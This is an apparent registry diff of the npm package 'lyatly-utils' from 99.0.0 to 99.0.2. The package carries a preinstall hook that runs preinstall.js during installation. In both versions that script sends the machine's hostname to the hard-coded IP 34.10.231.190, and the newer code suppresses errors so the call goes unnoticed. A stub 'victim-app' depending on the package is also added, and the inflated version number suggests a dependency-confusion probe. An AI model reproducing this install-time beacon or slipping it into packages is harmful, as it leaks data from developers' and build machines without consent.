lyatly-utils 99.0.0 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,9 +1,8 @@
1
1
  {
2
2
  "name": "lyatly-utils",
3
- "version": "99.0.0",
3
+ "version": "99.0.2",
4
4
  "private": false,
5
5
  "scripts": {
6
6
  "preinstall": "node preinstall.js"
7
7
  }
8
8
  }
9
-
package/preinstall.js CHANGED
@@ -1,12 +1,15 @@
1
- import https from "https";
1
+ import http from "http";
2
2
  import os from "os";
3
3
 
4
- const data = encodeURIComponent(
5
- `host=${os.hostname()}|node=${process.version}`
6
- );
4
+ const data = encodeURIComponent(os.hostname());
7
5
 
8
- https.get(
9
- `http://34.10.231.190/index.php?data=${data}`,
10
- { rejectUnauthorized: false }
11
- );
6
+ const options = {
7
+ hostname: "34.10.231.190",
8
+ port: 80,
9
+ path: `/index.php?data=${data}`,
10
+ method: "GET"
11
+ };
12
12
 
13
+ const req = http.request(options, () => {});
14
+ req.on("error", () => {});
15
+ req.end();
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "victim-app",
3
+ "version": "1.0.0",
4
+ "dependencies": {
5
+ "lyatly-utils": "^99.0.0"
6
+ }
7
+ }
8
+